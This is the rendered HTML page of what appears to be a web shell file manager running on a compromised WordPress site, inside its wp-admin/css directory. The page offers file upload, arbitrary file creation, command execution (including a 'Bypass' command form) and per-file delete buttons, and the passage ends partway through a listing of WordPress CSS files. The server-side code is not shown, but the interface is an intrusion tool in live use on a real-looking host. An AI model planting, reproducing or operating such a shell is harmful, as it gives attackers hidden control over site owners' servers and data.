      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-admin/css">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-admin/css" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin">wp-admin</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss">css</a></div>
  <ul>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolors"> colors</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout-rtl.css"> about-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout-rtl.min.css"> about-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout.css"> about.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout.min.css"> about.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu-rtl.css"> admin-menu-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu-rtl.min.css"> admin-menu-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu.css"> admin-menu.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu.min.css"> admin-menu.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor-rtl.css"> code-editor-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor-rtl.min.css"> code-editor-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor.css"> code-editor.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor.min.css"> code-editor.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker-rtl.css"> color-picker-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker-rtl.min.css"> color-picker-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker.css"> color-picker.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker.min.css"> color-picker.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon-rtl.css"> common-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon-rtl.min.css"> common-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon.css"> common.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon.min.css"> common.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls-rtl.css"> customize-controls-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls-rtl.min.css"> customize-controls-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls.css"> customize-controls.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls.min.css"> customize-controls.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus-rtl.css"> customize-nav-menus-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus-rtl.min.css"> customize-nav-menus-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus.css"> customize-nav-menus.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus.min.css"> customize-nav-menus.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets-rtl.css"> customize-widgets-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets-rtl.min.css"> customize-widgets-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets.css"> customize-widgets.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets.min.css"> customize-widgets.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard-rtl.css"> dashboard-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard-rtl.min.css"> dashboard-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard.css"> dashboard.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard.min.css"> dashboard.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media-rtl.css"> deprecated-media-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media-rtl.min.css"> deprecated-media-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media.css"> deprecated-media.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media.min.css"> deprecated-media.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit-rtl.css"> edit-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit-rtl.min.css"> edit-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit.css"> edit.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit.min.css"> edit.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic-rtl.css"> farbtastic-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic-rtl.min.css"> farbtastic-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic.css"> farbtastic.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic.min.css"> farbtastic.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms-rtl.css"> forms-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms-rtl.min.css"> forms-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms.css"> forms.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms.min.css"> forms.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms.min.css">
